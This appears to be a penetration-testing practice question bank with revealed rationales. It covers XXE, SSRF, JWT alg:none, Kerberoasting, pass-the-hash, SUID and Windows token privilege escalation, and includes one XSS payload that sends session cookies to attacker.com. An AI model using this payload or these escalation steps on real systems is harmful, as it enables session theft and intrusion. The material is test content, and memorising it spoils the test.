31 of 181 questions · Page 3/3 · Ptp Attacks Exploits topic · Answers revealed
A penetration tester is testing a web application and discovers an endpoint that returns XML data. The tester attempts to read /etc/passwd by injecting an external entity. Which type of attack is this?
XXE uses external entities to read files or make requests.
Why this answer
XML External Entity (XXE) injection allows reading files or performing SSRF via XML processing.
While testing a Linux system, the tester finds a binary with the SUID bit set owned by root. The binary executes a command based on user input without verifying the path. Which privilege escalation technique does this exemplify?
The SUID bit allows the binary to run as root, and PATH manipulation can lead to privilege escalation.
Why this answer
PATH manipulation exploits insecure binary execution by modifying the PATH variable to execute malicious code.
During a penetration test, the tester discovers a web application vulnerable to CSRF. The application uses SameSite cookies set to 'Lax'. Which THREE methods might the tester use to exploit the CSRF vulnerability?
XSS can bypass CSRF protections entirely.
Why this answer
SameSite Lax still allows top-level GET requests; state-changing GET requests, XSS, and bypassing via subdomain can work. Changing cookie to Strict is not possible by attacker, and requiring POST only is not a bypass.
A tester is performing a JWT attack and modifies the header to set the algorithm to 'none'. Which vulnerability are they exploiting?
alg:none is a type of algorithm confusion where the server accepts unsigned tokens.
Why this answer
Setting alg to 'none' bypasses signature verification, a known JWT vulnerability.
A tester has gained a low-privilege shell on a Windows machine and found that the user has the SeImpersonatePrivilege enabled. Which attack can be used to escalate privileges to SYSTEM?
PrintSpoofer leverages SeImpersonatePrivilege to get SYSTEM.
Why this answer
SeImpersonatePrivilege allows impersonating a client after authentication; tools like PrintSpoofer, RoguePotato exploit this to gain SYSTEM.
During a penetration test, you run the following command on a Linux target: `find / -type f -perm /4000 2>/dev/null`. What are you attempting to identify?
/4000 matches the SUID bit (4000 in octal).
Why this answer
The find command with -perm /4000 searches for files with SUID bit set, which can be exploited for privilege escalation.
A tester wants to perform a Kerberoasting attack against an Active Directory domain. The tester has a domain account with no special privileges. Which of the following is required to successfully request TGS tickets for offline cracking?
Any domain user can request TGS tickets for service accounts.
Why this answer
Kerberoasting requires a valid domain account to request TGS tickets for service accounts. No special privileges are needed beyond being authenticated. AS-REP roasting targets users without pre-authentication, not service accounts.
During a web application test, the tester uses sqlmap and identifies a time-based blind SQL injection. Which technique is sqlmap using to extract data?
Time-based uses SLEEP or WAITFOR DELAY to extract data.
Why this answer
Time-based blind SQL injection uses conditional delays to infer the truth of queries based on response time.
In Metasploit, after searching for an exploit, you select it with 'use exploit/...' and set required options. What is the final command to execute the exploit against the target?
'run' or 'exploit' initiates the exploit.
Why this answer
The 'run' or 'exploit' command launches the exploit.
While performing a web application penetration test, a tester observes that the application reflects user input in the page without proper sanitization. To steal session cookies, the tester crafts a payload like <script>document.location='http://attacker.com/?cookie='+document.cookie</script>. Which XSS type is this?
Reflected XSS is injected and reflected immediately in the response.
Why this answer
Reflected XSS occurs when the injected script is reflected off the web server immediately.
A penetration tester wants to pivot from a compromised Linux host to attack internal network resources that are not directly accessible. Which THREE tools or techniques can be used for pivoting?
Metasploit route adds routes through a compromised host to pivot.
Why this answer
SSH port forwarding (local, remote, dynamic) and tools like chisel and ligolo-ng are commonly used for pivoting in Linux environments.
A tester is exploiting a Linux system and finds a binary with the SUID bit set owned by root. The binary executes other commands. Which technique would allow privilege escalation to root?
Correct: If the SUID binary runs a command using a relative path, PATH manipulation can hijack it to run as root.
Why this answer
If a SUID binary executes commands (e.g., via system() or exec()), it may be exploited to run arbitrary commands as root, especially if the path is not absolute.
During a Windows privilege escalation attempt, a tester finds that the current user has the SeImpersonatePrivilege enabled. Which tool can be used to exploit this privilege to gain SYSTEM access?
PrintSpoofer leverages SeImpersonatePrivilege to get SYSTEM.
Why this answer
PrintSpoofer exploits SeImpersonatePrivilege to escalate to SYSTEM.
During a Windows privilege escalation attempt, the tester finds that the current user has SeImpersonatePrivilege enabled. Which THREE tools or techniques can be used to exploit this privilege?
Another potato variant for the same privilege.
Why this answer
PrintSpoofer, RoguePotato, and JuicyPotato exploit SeImpersonatePrivilege to gain SYSTEM. Mimikatz is for credential dumping, and PowerUp is a PowerShell script for privilege escalation but not specific to this privilege.
During a web application test, you discover an endpoint that accepts a URL parameter and fetches the content. You try `http://169.254.169.254/latest/meta-data/` and receive a response. Which vulnerability is this?
SSRF allows the server to make requests to internal/cloud resources.
Why this answer
The IP 169.254.169.254 is the cloud metadata endpoint; accessing it indicates SSRF.
A penetration tester is conducting a web application test and discovers a server-side request forgery (SSRF) vulnerability. The application accepts a URL parameter and fetches the resource. Which TWO of the following are common SSRF exploitation techniques?
This is a classic SSRF target.
Why this answer
SSRF can access internal services like cloud metadata endpoints and perform internal port scans.
During an internal penetration test, you need to perform lateral movement to a Windows target. You have a plaintext password for a domain user account. Which tool would be most appropriate to authenticate to the target using WMI?
wmiexec uses WMI (Windows Management Instrumentation) for remote command execution.
Why this answer
wmiexec (part of Impacket) allows execution of commands on a Windows host via WMI using valid credentials, suitable for lateral movement.
During a web application penetration test, the tester discovers a JWT token in the Authorization header. The token uses the 'none' algorithm. What attack should the tester attempt?
The alg:none attack bypasses signature verification.
Why this answer
If the server accepts the 'none' algorithm, the tester can forge tokens by setting the algorithm to 'none' and removing the signature.
After compromising a Windows workstation, the tester wants to extract password hashes from the local SAM database. Which Metasploit meterpreter command should be used?
hashdump extracts password hashes from SAM.
Why this answer
hashdump dumps the SAM database hashes.
During a penetration test, the tester gains a Meterpreter session on a Windows target and wants to escalate privileges to SYSTEM. The current user has the SeImpersonatePrivilege token. Which tool should the tester use to exploit this privilege?
PrintSpoofer uses SeImpersonatePrivilege to gain SYSTEM.
Why this answer
PrintSpoofer exploits the SeImpersonatePrivilege to impersonate SYSTEM tokens.
During a web application test, the tester discovers that the application uses JSON Web Tokens (JWT) for authentication. The tester modifies the JWT header to set the algorithm to 'none' and removes the signature. The server accepts the token. What type of attack is this?
This is a JWT algorithm confusion attack where the 'none' algorithm bypasses signature verification.
Why this answer
Setting the JWT algorithm to 'none' exploits a misconfiguration where the server does not enforce signature verification, leading to JWT algorithm confusion.
A penetration tester is performing a Kerberoasting attack. Which TWO steps are required for a successful Kerberoasting attack?
TGS tickets are encrypted with the service account's NTLM hash.
Why this answer
Kerberoasting involves requesting TGS tickets for service accounts and then cracking the tickets offline.
You are testing a web application and notice that it uses JSON Web Tokens (JWT) for authentication. You change the algorithm to 'none' and remove the signature, and the token is accepted. Which JWT vulnerability did you exploit?
Setting alg to 'none' bypasses signature verification.
Why this answer
Alg:none attack exploits weak validation that accepts unsigned tokens.
A tester is performing a privilege escalation on a Windows system and finds that the user has SeImpersonatePrivilege enabled. Which tool could be used to escalate to SYSTEM?
Correct: PrintSpoofer exploits SeImpersonatePrivilege to get SYSTEM.
Why this answer
SeImpersonatePrivilege can be exploited using tools like PrintSpoofer or Potato attacks to impersonate SYSTEM tokens.
You have obtained a NTLM hash of a domain admin account and want to authenticate to a remote server without cracking the password. Which technique enables you to authenticate using the hash?
Pass-the-Hash uses the NTLM hash to authenticate to services that accept NTLM authentication.
Why this answer
Pass-the-hash uses the NTLM hash directly to authenticate without needing the plaintext password. Tools like pth-winexe or CrackMapExec can perform this.
Which Metasploit command is used to display information about the current meterpreter session, including the target OS and user?
sysinfo provides detailed system information including OS and architecture.
Why this answer
The 'sysinfo' meterpreter command displays system information such as OS, architecture, and sometimes user context.
During a penetration test, you successfully execute a Meterpreter session on a Windows target. You want to dump password hashes from the SAM database. Which Meterpreter command should you use?
hashdump retrieves password hashes from the SAM.
Why this answer
hashdump is the Meterpreter command to dump SAM hashes.
A penetration tester has gained a low-privilege shell on a Windows server and discovers the user has the SeImpersonatePrivilege. Which tool could the tester use to escalate privileges to SYSTEM?
PrintSpoofer leverages SeImpersonatePrivilege to get SYSTEM access.
Why this answer
PrintSpoofer exploits SeImpersonatePrivilege to escalate privileges on Windows.
During a Windows privilege escalation attempt, the tester finds that the current user has the SeImpersonatePrivilege enabled. Which tool is commonly used to exploit this privilege to gain SYSTEM?
PrintSpoofer leverages SeImpersonatePrivilege to escalate to SYSTEM.
Why this answer
PrintSpoofer exploits SeImpersonatePrivilege to impersonate SYSTEM and spawn a shell.
During a Linux privilege escalation attempt, a tester finds a binary with the SUID bit set that is not on the GTFOBins list. The binary executes /bin/bash with the effective UID of root. What is the most likely way to exploit this?
Running a SUID binary that spawns a shell with -p preserves the effective UID, giving root.
Why this answer
If a binary runs a shell or command as root, the tester can simply run it to get a root shell.
A tester is attempting to crack WPA2 handshakes captured from a wireless network. Which hashcat mode should be used?
Correct: Mode 22000 is for WPA/WPA2.
Why this answer
Hashcat mode 22000 is used for WPA-PBKDF2-PMKID+EAPOL (WPA/WPA2) handshakes.
Ready to test yourself?
Try a timed practice session using only Ptp Attacks Exploits questions.